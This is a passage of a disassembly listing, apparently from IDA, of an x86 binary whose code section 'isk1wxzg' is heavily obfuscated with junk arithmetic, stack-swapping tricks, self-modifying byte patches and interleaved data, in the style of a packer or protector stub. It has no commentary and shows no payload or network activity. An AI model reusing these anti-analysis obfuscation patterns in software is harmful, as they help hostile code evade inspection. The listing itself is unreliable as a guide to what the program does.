		xchg	ebx, [esp+0]
		pop	ebx
		or	edx, edx
		jz	loc_475EAA
		jmp	loc_4754BF
sub_4744DB	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		dd 15C3C100h, 0D35AF381h, 890F0F40h, 711h, 0AE0A9ABBh
		dd 0FFE95A52h, 0C3000006h, 800F0000h, 0FFFFFAAAh, 5A241487h
		dd 0F58E953h, 0C1000000h, 34E90BC2h, 4

; =============== S U B	R O U T	I N E =======================================



sub_474524	proc near		; DATA XREF: sub_4744DB:loc_475E51o

; FUNCTION CHUNK AT 004735CB SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00475FDE SIZE 00000005 BYTES

		push	ebx
		mov	ebx, offset loc_4735DB
		jmp	loc_4735CB
sub_474524	endp

; ---------------------------------------------------------------------------
		align 10h
		dd 768A0F00h, 87FFFFFAh, 3487240Ch, 0E9CE8B24h,	0BCCh
		dd 0EA850000h, 169BE9h,	0F08B5600h, 52243487h, 0FFF3EBE9h
		dd 870000FFh, 0DE8B2434h, 9A6E85Eh, 0
; ---------------------------------------------------------------------------

loc_474568:				; CODE XREF: isk1wxzg:004750F0j
		jmp	locret_474844
; ---------------------------------------------------------------------------
		align 2
		retn
; ---------------------------------------------------------------------------
		align 10h
		dd 165CE900h, 0
; ---------------------------------------------------------------------------

loc_474578:				; CODE XREF: isk1wxzg:00474C81j
		pop	ebx
		xchg	esi, [esp]
		call	sub_4752B4
; START	OF FUNCTION CHUNK FOR sub_47589A

loc_474581:				; CODE XREF: sub_47589A+Dj
		and	esi, 16899507h
		xor	esi, 0A6195E23h
		setalc
		cmc
		add	esi, 5B6E25D7h
		mov	[esi], eax
		call	sub_475CEC
		add	cl, ch
		inc	eax
		add	[eax], eax
; END OF FUNCTION CHUNK	FOR sub_47589A
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4751B1

loc_4745A3:				; CODE XREF: sub_4751B1+Fj
		jmp	nullsub_393
; END OF FUNCTION CHUNK	FOR sub_4751B1
; ---------------------------------------------------------------------------
		dd 8DE90000h
		db 0FDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_4745AF:				; CODE XREF: isk1wxzg:00473ACBj
		jmp	locret_473975
; ---------------------------------------------------------------------------
		xor	ecx, 0EFCCCCB8h
		jmp	loc_47515A
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_4734CE

loc_4745C0:				; CODE XREF: sub_4734CE+29C1j
		or	ecx, 0E3CB4682h
		rol	ecx, 5
		test	ecx, 10000h
		jmp	loc_4741DC
; END OF FUNCTION CHUNK	FOR sub_4734CE
; ---------------------------------------------------------------------------
		dd 0D8810000h, 830FE826h, 0FFFCC4E9h, 2CE99DFFh, 0FFFFF5h
; ---------------------------------------------------------------------------

loc_4745E8:				; CODE XREF: isk1wxzg:0047381Aj
		or	ebp, ebx
		xchg	esi, [esp]
		pop	esi
		or	edx, edx
		pop	ebp
		test	[eax+ebx-16B00000h], ch
		or	edi, esp
; ---------------------------------------------------------------------------
		dw 0FFFFh
		dd 0E9088700h, 9CAh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_474606:				; DATA XREF: isk1wxzg:00474401o
		push	4736D3h
		jmp	loc_474B07
; ---------------------------------------------------------------------------
		dd 0C870000h, 0C1815924h, 90A0005h, 0A2E9C103h
		db 10h,	2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_473E7B

loc_474623:				; CODE XREF: sub_473E7B:loc_4746DCj
		mov	ebx, ecx
		xchg	ebx, [esp+0]
		mov	ecx, offset loc_475E9C
		jmp	loc_475B97
; END OF FUNCTION CHUNK	FOR sub_473E7B
; ---------------------------------------------------------------------------
		align 4

loc_474634:				; CODE XREF: isk1wxzg:00474336j
		call	sub_474957
; ---------------------------------------------------------------------------
		db 2 dup(0), 0E9h
		dd 0E1Bh
		db 0
; ---------------------------------------------------------------------------

loc_474641:				; DATA XREF: isk1wxzg:0047435Ao
		add	esi, ebp
		push	ebp
		mov	ebp, edx

loc_474646:				; CODE XREF: isk1wxzg:0047515Ej
		xchg	ebp, [esp]
		jmp	near ptr loc_4741AE+1
; ---------------------------------------------------------------------------
		dw 0C300h
		dd 17E90000h, 0FFFFF2h,	0AEE92987h, 0FFFFF7h, 258F0F00h
					; CODE XREF: isk1wxzg:00475D49j
		dd 87FFFFF7h, 0C65F243Ch, 4870302h, 173E924h, 8F0F0000h
		dd 0FFFFFBC4h, 0BCE9CE3Bh, 58FFFFEEh, 1478E9h, 4D685200h
		dd 5A947478h, 680BC2C1h, 4747F0h, 660E9h
		db 3 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4744DB

loc_47469F:				; CODE XREF: sub_4744DB+544j
		jo	loc_475FC1
		mov	[esi], ebp
		jp	loc_475B3D

loc_4746AD:				; CODE XREF: sub_4744DB:loc_475B59j
		push	offset sub_4741CE
		jmp	nullsub_387
; END OF FUNCTION CHUNK	FOR sub_4744DB
; ---------------------------------------------------------------------------
		align 4
		dd 478A6800h, 0F7E90047h, 0FFFFF6h
		db 0
; ---------------------------------------------------------------------------

locret_4746C5:				; CODE XREF: isk1wxzg:loc_475D3Aj
		retn
; ---------------------------------------------------------------------------
		dw 5700h
; ---------------------------------------------------------------------------
		push	38BD1064h
		pop	edi
		rol	edi, 4
		jmp	loc_4753E4
; ---------------------------------------------------------------------------
		dw 0E800h
		dd 0FFFFEE69h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_473E7B

loc_4746DC:				; CODE XREF: sub_473E7B+Aj
		jmp	loc_474623
; END OF FUNCTION CHUNK	FOR sub_473E7B
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		or	edx, 0D42435A2h
		add	edx, 3E15AAAh
		jmp	loc_4753A7
; ---------------------------------------------------------------------------
		align 4
		db 0, 0C3h
; ---------------------------------------------------------------------------

loc_4746F6:				; CODE XREF: isk1wxzg:0047382Dj
		jmp	locret_474B8B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_475BF0

loc_4746FB:				; CODE XREF: sub_475BF0:loc_475B67j
		mov	byte ptr [eax],	9Dh
		pop	eax
		call	sub_4734CE
; END OF FUNCTION CHUNK	FOR sub_475BF0
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_474BAE

loc_474705:				; CODE XREF: sub_474BAE+1102j
		jmp	loc_473D1E
; END OF FUNCTION CHUNK	FOR sub_474BAE
; ---------------------------------------------------------------------------
		xchg	ebx, [esp]
		xchg	esi, [esp]
		mov	ebx, esi
		pop	esi
		add	eax, 864A0130h
		jmp	loc_474758
; ---------------------------------------------------------------------------
		db 0
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_394. PRESS KEYPAD	"+" TO EXPAND]
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_475199

loc_474722:				; CODE XREF: sub_475199+13j
		jmp	nullsub_381
; END OF FUNCTION CHUNK	FOR sub_475199
; ---------------------------------------------------------------------------
		align 4
		db 0
; ---------------------------------------------------------------------------

loc_474729:				; DATA XREF: isk1wxzg:loc_474011o
		push	0BCAF3FD3h
		pop	esi
		sub	esi, 1F4A183Ch
		add	esi, 62E227C5h
		mov	esi, [esi]
		jmp	loc_475669
; ---------------------------------------------------------------------------
		align 4

loc_474744:				; CODE XREF: isk1wxzg:0047426Ej
		js	near ptr dword_473F28+12h
; START	OF FUNCTION CHUNK FOR sub_4741CE

loc_47474A:				; CODE XREF: sub_4741CE+7A9j
		jmp	loc_4759EA
; END OF FUNCTION CHUNK	FOR sub_4741CE
; ---------------------------------------------------------------------------
		align 10h
		dd 0E9298900h, 0FFFFF7DCh
; ---------------------------------------------------------------------------

loc_474758:				; CODE XREF: isk1wxzg:00474719j
		push	eax
		push	eax
		push	0E3CD8D02h
		pop	eax
		and	eax, 0F54A17B1h
		jmp	near ptr byte_4734C1+2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_475DC9

loc_47476B:				; CODE XREF: sub_475DC9:loc_475D5Aj
		call	sub_4744DB
		add	cl, ch
; END OF FUNCTION CHUNK	FOR sub_475DC9
; ---------------------------------------------------------------------------
		dw 0ED8Fh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_475CEC

loc_474776:				; CODE XREF: sub_475CEC:loc_4755CFj
		call	sub_47537E
; END OF FUNCTION CHUNK	FOR sub_475CEC
; ---------------------------------------------------------------------------
		db 0
		dd 0A0E9C300h
		db 16h,	2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_473CB1

loc_474783:				; CODE XREF: sub_473CB1+F19j
		jmp	loc_475F90
; END OF FUNCTION CHUNK	FOR sub_473CB1
; ---------------------------------------------------------------------------
		dd 0B09D0000h, 8FE9240Ch, 0FFFFEEh, 5CCC6851h, 91E90047h
		dd 6800000Eh, 474084h, 0FFF34AE9h
		db 0FFh, 2 dup(0)
; ---------------------------------------------------------------------------

loc_4747AB:				; CODE XREF: isk1wxzg:loc_473CE9j
		mov	ecx, eax
		pop	eax
		xor	ecx, 0E36EAE73h
		add	ecx, 163C41C8h
		sub	ecx, 7086BAA6h
		call	sub_473E7B

loc_4747C5:				; CODE XREF: isk1wxzg:00475832j
		mov	byte ptr [esi],	87h
		pop	esi
		push	edi
		mov	edi, ecx
		jmp	loc_47404E
; ---------------------------------------------------------------------------
		align 2
		pushf
		jmp	sub_4752B4
; ---------------------------------------------------------------------------
		dd 8C0F0000h, 0FFFFF37Ah, 10A4E9h
		db 3 dup(0)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_380. PRESS KEYPAD	"+" TO EXPAND]
		dd 0F339E900h, 0FFFFh, 6CA7F281h, 0C203A3C2h, 2404875Ah
		dd 770E9h, 1FCFC100h, 0E915E7C1h, 34Eh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_47480E:				; CODE XREF: isk1wxzg:0047390Aj
		rol	eax, 19h
		or	eax, 368FC3ECh
		and	eax, 3B9FB983h
		xor	eax, 0A4C2E1h
		jmp	loc_473F79
; ---------------------------------------------------------------------------
		dd 0F870000h, 8D850368h, 0F645E92Eh, 0C300FFFFh
					; CODE XREF: isk1wxzg:00474B6Dj
dword_474838	dd 5263C081h, 13E81EFFh, 0Fh ; DATA XREF: isk1wxzg:004734C4o
; ---------------------------------------------------------------------------

locret_474844:				; CODE XREF: isk1wxzg:loc_474568j
		retn
; ---------------------------------------------------------------------------
		align 2
; START	OF FUNCTION CHUNK FOR sub_473E7B

loc_474846:				; CODE XREF: sub_473E7B+1D2Fj
		jmp	loc_474A7F
; END OF FUNCTION CHUNK	FOR sub_473E7B
; ---------------------------------------------------------------------------
		align 4
dword_47484C	dd 0FFF843E8h		; DATA XREF: sub_475633+22o
; ---------------------------------------------------------------------------
		inc	dword ptr [eax]
; START	OF FUNCTION CHUNK FOR sub_473C4E

loc_474852:				; CODE XREF: sub_473C4E+Cj
		jmp	loc_473E40
; END OF FUNCTION CHUNK	FOR sub_473C4E
; ---------------------------------------------------------------------------
		align 4
		dd 83BB5300h, 0E900474Dh, 0D85h
		db 2 dup(0)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_391. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_474867:				; CODE XREF: isk1wxzg:00474C61j
		xchg	esi, [esp]
		pop	esi
		pop	ebx
		push	4740E2h
		jmp	locret_473CE8
; ---------------------------------------------------------------------------
		rol	esi, 6
		xor	esi, 7052A2B1h
		and	esi, 0CCD7261h
		add	esi, 0FF7E03F8h
		jmp	loc_4753D8
; ---------------------------------------------------------------------------
		dd 7A685100h, 5976DB07h, 897CF181h, 0E98112AFh,	5B91B11Bh
		dd 0B5BC181h, 0F1818C4Bh, 6DA33AD1h, 7BE0C181h,	0B9E907B8h
		dd 0FFFFF7h, 0C300h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4757B6

loc_4748C0:				; CODE XREF: sub_4757B6+10j
		jmp	loc_4749D0
; END OF FUNCTION CHUNK	FOR sub_4757B6
; ---------------------------------------------------------------------------
		db 0E9h, 10h, 0F2h
		dd 0FFFFh, 5F243C87h, 24048759h, 0FFFD11E8h
		db 0FFh, 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_475CB7

loc_4748DB:				; CODE XREF: sub_475CB7+Fj
		jmp	loc_475232
; END OF FUNCTION CHUNK	FOR sub_475CB7
; ---------------------------------------------------------------------------
		dd 3E840F00h, 0E900000Ch, 0FFFFEF72h
		db 0
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_381. PRESS KEYPAD	"+" TO EXPAND]
		align 10h

loc_4748F0:				; DATA XREF: sub_475199+Eo
		push	edi
		mov	edi, ebx
		xchg	edi, [esp]
		pushf
		push	0FD6B9B2Dh
		pop	ebx
		sub	ebx, 303B89C7h
		jmp	loc_474B68
; ---------------------------------------------------------------------------
		dd 1C870000h, 68515B24h, 0FE0161CDh, 1EC98159h,	812C458Dh
		dd 45EDDBF1h, 0FC4BE9FEh, 0FFFFh
; ---------------------------------------------------------------------------

loc_474928:				; CODE XREF: isk1wxzg:004739BBj
		xchg	esi, [esp]
		pop	esi
		push	65CA539Fh
		pop	ecx
		sub	ecx, 139202F3h
		rol	ecx, 1
		jmp	loc_475F33
; ---------------------------------------------------------------------------
		align 10h
		dd 0C015FF00h, 570044F0h, 3C87F88Bh, 60D56824h,	4E99EECh
					; CODE XREF: sub_4755D4:loc_474E80j
		db 15h,	2 dup(0)

; =============== S U B	R O U T	I N E =======================================



sub_474957	proc near		; CODE XREF: isk1wxzg:loc_474634p

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00475015 SIZE 00000009 BYTES

		xchg	edi, [esp+0]
		xchg	ecx, [esp+0]
		mov	edi, ecx
		pop	ecx
		mov	byte ptr [ecx],	87h
		xchg	edi, [esp-4+arg_0]

loc_474966:				; CODE XREF: isk1wxzg:004738BAj
		jmp	loc_475015
sub_474957	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 4

locret_47496C:				; CODE XREF: isk1wxzg:loc_475A86j
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4741CE

loc_47496D:				; CODE XREF: sub_4741CE+7j
		mov	ebp, ecx
		xchg	ebp, [esp+8+var_8]
		mov	ecx, offset loc_4759F0
		jmp	loc_47474A
; END OF FUNCTION CHUNK	FOR sub_4741CE
; ---------------------------------------------------------------------------
		dd 0D52B0000h, 87241487h, 0D38B241Ch, 9D03C65Bh, 0FFF314E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_474991:				; CODE XREF: isk1wxzg:00473E60j
		jge	loc_475263

; =============== S U B	R O U T	I N E =======================================



sub_474997	proc near		; CODE XREF: isk1wxzg:00473A59p

; FUNCTION CHUNK AT 00474288 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004750F7 SIZE 00000011 BYTES

		xchg	ecx, [esp+0]
		xchg	eax, [esp+0]
		mov	ecx, eax
		pop	eax
		push	ecx
		push	0D51122D8h
		pop	ecx
		jmp	loc_474288
sub_474997	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		dd 34870000h, 0A3E85E24h, 7, 0FFEF98E9h	; CODE XREF: isk1wxzg:00475E3Bj
; ---------------------------------------------------------------------------
		inc	dword ptr [eax]
; START	OF FUNCTION CHUNK FOR sub_474FD4

loc_4749BE:				; CODE XREF: sub_474FD4+8j
		jmp	loc_47513E
; END OF FUNCTION CHUNK	FOR sub_474FD4
; ---------------------------------------------------------------------------
		align 4
		dd 0FAFB850Fh, 1ACFFFFh, 3C2C1C2h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4757B6

loc_4749D0:				; CODE XREF: sub_4757B6:loc_4748C0j
		xor	edx, eax
		jmp	near ptr dword_473504+9
; END OF FUNCTION CHUNK	FOR sub_4757B6
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4749D8	proc near		; CODE XREF: isk1wxzg:00475546j
					; isk1wxzg:00475D55p

; FUNCTION CHUNK AT 00474EA5 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004755A3 SIZE 0000000D BYTES

		xchg	edx, [esp+0]
		pop	edx
		add	eax, 0B996B71Eh
		mov	eax, [eax]
		jmp	loc_474EA5
sub_4749D8	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 2

; =============== S U B	R O U T	I N E =======================================



sub_4749EA	proc near		; DATA XREF: isk1wxzg:004757F2o

; FUNCTION CHUNK AT 00474AD7 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00474B40 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00474E24 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00475B87 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00475D8F SIZE 0000000D BYTES

		push	58B70927h
		pop	esi
		and	esi, 0C04FD334h
		add	esi, 81A39590h
		or	esi, 65788DFDh
		xor	esi, 0C1FD4EF8h
		add	edi, esi
		pop	esi
		jmp	loc_474AD7
sub_4749EA	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		dd 0C30000h, 0EAFE9h
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4744DB

loc_474A1A:				; CODE XREF: sub_4744DB:loc_4754BAj
		mov	ecx, edi
		cdq
		test	esi, ecx
		jmp	loc_47469F
; END OF FUNCTION CHUNK	FOR sub_4744DB
; ---------------------------------------------------------------------------
		dd 0EA810000h, 9935F013h, 96E90A89h, 13h, 0C300h
; ---------------------------------------------------------------------------

loc_474A38:				; CODE XREF: isk1wxzg:004735C6j
		pop	ecx
		and	ecx, 3FA490AFh
		or	ecx, 0D6BF7C55h
		xor	ecx, 55789A0Ch
		add	ecx, ebp
		add	ecx, 5C381981h

loc_474A53:				; CODE XREF: isk1wxzg:004754A8j
		jmp	loc_473D7C
; ---------------------------------------------------------------------------
		db 0
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_378. PRESS KEYPAD	"+" TO EXPAND]
		align 4

loc_474A5C:				; CODE XREF: isk1wxzg:00474406j
		jmp	locret_474038
; ---------------------------------------------------------------------------
		align 2
word_474A62	dw 8B53h		; DATA XREF: sub_473E7B:loc_474A7Fo
		dd 241C87D8h, 0FFF850E8h, 26E900FFh
		db 0FAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_474A73:				; CODE XREF: isk1wxzg:00475B28j
		jmp	locret_473A2B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_47401B

loc_474A78:				; CODE XREF: sub_47401B+9j
		jmp	loc_475A9E
; END OF FUNCTION CHUNK	FOR sub_47401B
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_473E7B

loc_474A7F:				; CODE XREF: sub_473E7B:loc_474846j
		push	offset word_474A62
		jmp	loc_474F56
; END OF FUNCTION CHUNK	FOR sub_473E7B
; ---------------------------------------------------------------------------
		xor	edx, 41B294FAh
		add	edx, ebp
		add	edx, 0D146F20Ah
		call	sub_474370

loc_474A9C:				; CODE XREF: isk1wxzg:004754FAj
		mov	ecx, ebp
		pop	ebp
		xor	ecx, 0CD16F69Eh
		add	ecx, 25A490D8h
		and	ecx, 0FBB632CBh
		push	ebx
		mov	ebx, 47478Bh
		jmp	loc_474BDB
; ---------------------------------------------------------------------------
		dd 24348700h, 241C875Eh, 47523CBFh, 14D4E900h
		db 3 dup(0)
byte_474ACF	db 87h			; DATA XREF: sub_47580E-5AAo
		dd 33E82404h
		db 0FEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4749EA

loc_474AD7:				; CODE XREF: sub_4749EA+21j
		jmp	loc_475B87
; END OF FUNCTION CHUNK	FOR sub_4749EA
; ---------------------------------------------------------------------------
		dd 0A32E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_474AE2:				; CODE XREF: isk1wxzg:004738A9j
		call	sub_475B43
		jmp	locret_4744BA
; ---------------------------------------------------------------------------
		push	eax
		push	8BCCB9F0h
		pop	eax
		sub	eax, 0EECA450h
		test	eax, 20000h
		jmp	loc_47584C
; ---------------------------------------------------------------------------
		db 0, 0C3h, 0
; ---------------------------------------------------------------------------

loc_474B07:				; CODE XREF: isk1wxzg:0047460Bj
		jmp	near ptr word_47404A+1
; ---------------------------------------------------------------------------

loc_474B0C:				; CODE XREF: isk1wxzg:loc_47584Cj
					; isk1wxzg:0047585Aj
		xor	eax, 0F8156930h
		and	eax, 0C5CBA377h
		xor	eax, 3A718812h
		add	eax, 41944FBEh
		xchg	eax, [esp]
		jmp	loc_474282
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_474DF6

loc_474B2D:				; CODE XREF: sub_474DF6:loc_475629j
		push	offset byte_47421F
		jmp	nullsub_391
; END OF FUNCTION CHUNK	FOR sub_474DF6
; ---------------------------------------------------------------------------
		align 4
		dd 0ED9BE800h, 0FFFFh
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4749EA

loc_474B40:				; CODE XREF: sub_4749EA+13ADj
		jmp	nullsub_399
; END OF FUNCTION CHUNK	FOR sub_4749EA
; ---------------------------------------------------------------------------
		align 2
		jmp	loc_4757FC
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_473CB1

loc_474B4C:				; CODE XREF: sub_473CB1:loc_475520j
		pop	esi
		pushf
		push	596BF6DAh
		push	ebx
		jmp	loc_474BC5
; END OF FUNCTION CHUNK	FOR sub_473CB1
; ---------------------------------------------------------------------------
		align 2
		xchg	edi, [esp]
		pop	edi
		mov	byte ptr [ecx],	87h
		pop	ecx
		jmp	loc_475F62
; ---------------------------------------------------------------------------
		align 4

loc_474B68:				; CODE XREF: isk1wxzg:00474903j
		push	offset byte_475D9D
		jmp	near ptr dword_474828+0Fh
; ---------------------------------------------------------------------------
		add	esi, 76494B8Fh
		popf
		call	sub_476068

loc_474B7E:				; CODE XREF: isk1wxzg:004734C8j
		jmp	locret_473BE8
; ---------------------------------------------------------------------------

locret_474B83:				; CODE XREF: isk1wxzg:loc_475DAEj
		retn
; ---------------------------------------------------------------------------
		dd 0E90000h
		db 0F3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

locret_474B8B:				; CODE XREF: isk1wxzg:loc_4746F6j
		retn
; ---------------------------------------------------------------------------

loc_474B8C:				; CODE XREF: isk1wxzg:00475085j
		jmp	loc_473A5E
; ---------------------------------------------------------------------------
		db 2 dup(0), 8Bh
		dd 46896810h, 0C5E90047h, 7, 0E8F98B57h, 0FFFFEE9Fh
		db 0
; ---------------------------------------------------------------------------

loc_474BA9:				; CODE XREF: isk1wxzg:00474463j
		jmp	loc_47437F

; =============== S U B	R O U T	I N E =======================================



sub_474BAE	proc near		; CODE XREF: sub_473CB1+1047p

; FUNCTION CHUNK AT 0047383D SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00473C48 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00473D1E SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00473EC1 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00473EC8 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00474705 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004751D3 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00475A43 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00475CA2 SIZE 00000013 BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		push	edi
		push	4CC51232h
		pop	edi
		or	edi, 69BF6CB1h
		jmp	loc_475A43
sub_474BAE	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_473CB1

loc_474BC5:				; CODE XREF: sub_473CB1+EA3j
		mov	ebx, offset loc_474CF6
		jmp	loc_474783
; END OF FUNCTION CHUNK	FOR sub_473CB1
; ---------------------------------------------------------------------------
		align 10h
		dd 5A8B02C6h, 0FFF116E8h
		db 0FFh, 2 dup(0)
; ---------------------------------------------------------------------------

loc_474BDB:				; CODE XREF: isk1wxzg:00474AB7j
		mov	byte ptr [ebx],	87h
		pop	ebx
		call	sub_47538D
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4744DB

loc_474BE6:				; CODE XREF: sub_4744DB-A42j
		mov	byte ptr [esi],	0C3h
		pop	esi
		call	sub_4760A2
		push	offset loc_475986
		jmp	loc_474D2B
; END OF FUNCTION CHUNK	FOR sub_4744DB
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_474BFB:				; CODE XREF: isk1wxzg:loc_4759FFj
		push	offset byte_474365
		jmp	loc_473CAC
; ---------------------------------------------------------------------------
		align 2
		cdq
		jnp	loc_47606F
		add	ebx, 0F4B5E19Fh

loc_474C13:				; DATA XREF: isk1wxzg:00475340o
		pop	ss
		sbb	al, 24h
		jmp	nullsub_384
; ---------------------------------------------------------------------------
		align 4

loc_474C1C:				; CODE XREF: isk1wxzg:00473718j
		xchg	esi, [esp]
		pop	esi
		push	eax
		push	offset byte_475563
		jmp	locret_47555B
; ---------------------------------------------------------------------------
		align 4

loc_474C2C:				; DATA XREF: sub_475B75+6o
		xchg	ecx, [esp]
		call	ds:dword_44F0C0	; ExitProcess
		push	offset sub_4755D4
		jmp	loc_474D24
; ---------------------------------------------------------------------------
		align 10h
		dd 241C8700h, 0FFFC1EE8h
; ---------------------------------------------------------------------------

loc_474C48:				; DATA XREF: isk1wxzg:00473FD2o
		call	dword ptr [edi+68h]
		shl	byte ptr [ecx+ebx*8], 54h
		pop	edi
		or	edi, 0BEB48DFAh
		jmp	loc_473DDC
; ---------------------------------------------------------------------------
		xor	esi, 0D92CE261h
		jmp	loc_474867
; ---------------------------------------------------------------------------

loc_474C66:				; CODE XREF: isk1wxzg:00475DC4j
		push	473D3Ch
		jmp	locret_473D34
; ---------------------------------------------------------------------------
		dd 240C8700h, 28CE959h,	0
; ---------------------------------------------------------------------------

loc_474C7C:				; CODE XREF: isk1wxzg:loc_47595Dj
		xchg	ebx, [esp]
		mov	ecx, ebx
		jmp	loc_474578
; ---------------------------------------------------------------------------
		adc	edx, 0F75206FAh
		jmp	sub_4757DA
; ---------------------------------------------------------------------------
		align 2
		add	ecx, 54C2964Ah
		mov	ecx, [ecx]
		xchg	ecx, [esp]
		push	edx
		push	9A25C0FFh
		push	eax
		mov	eax, 47378Eh
		jmp	loc_4734DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_47538D

loc_474CAE:				; CODE XREF: sub_47538D:loc_475D0Cj
		call	near ptr dword_474650+17h
		add	[edi], cl
		mov	bl, [edi+0Eh]
; END OF FUNCTION CHUNK	FOR sub_47538D
; ---------------------------------------------------------------------------
		dd 64E90000h, 0F00000Bh, 150C8Fh, 0F840E900h, 0FFFFh, 0C5E9D133h
		dd 2, 0E9D51300h, 0FFFFFCD2h
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_473CB1

loc_474CDE:				; CODE XREF: sub_473CB1:loc_475F6Aj
		add	eax, 1C194056h
		xor	eax, 0EF42E37Dh
		or	eax, 0D2C9A8BAh
		add	eax, 0EB3F12E4h

loc_474CF6:				; DATA XREF: sub_473CB1:loc_474BC5o
		add	eax, ebp
		call	sub_474BAE
		jmp	nullsub_290
; END OF FUNCTION CHUNK	FOR sub_473CB1
; ---------------------------------------------------------------------------

loc_474D02:				; CODE XREF: isk1wxzg:00473F7Fj
		jmp	loc_473B94
; ---------------------------------------------------------------------------
		align 4

locret_474D08:				; CODE XREF: isk1wxzg:00474031j
		retn
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_474D0B:				; CODE XREF: isk1wxzg:004744B3j
		or	edx, 5E5B92A1h
		call	sub_4751B1
; ---------------------------------------------------------------------------
		dw 0
		dd 39E1058Dh, 0DCE80047h, 0FFFFEBh
; ---------------------------------------------------------------------------

loc_474D24:				; CODE XREF: isk1wxzg:00474C3Aj
		jmp	locret_4755CC
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4744DB

loc_474D2B:				; CODE XREF: sub_4744DB+719j
		jmp	nullsub_389
; END OF FUNCTION CHUNK	FOR sub_4744DB
; ---------------------------------------------------------------------------
		db 2 dup(0)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_393. PRESS KEYPAD	"+" TO EXPAND]
		align 4
		dd 93E95900h, 0FFFFE7h,	0E9E0D19Dh, 0FFFFE80Fh,	5FC70300h
		dd 487008Bh, 0EDC1E824h, 5B00FFFFh, 0BA6F081h, 8B561784h
		dd 243487F1h, 47388FB9h, 8DBE900h, 81000000h, 463FAEEBh
		dd 0F333E91Ch, 8700FFFFh, 0D98B240Ch, 66058D59h, 0C6004754h
		dd 7F68C300h, 0E900473Ch, 0FFFFEBC0h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_47371D

loc_474D90:				; CODE XREF: sub_47371D:loc_475609j
		mov	ecx, edx
		pop	edx
		sub	ecx, 0E902A2B3h
		rol	ecx, 1Dh
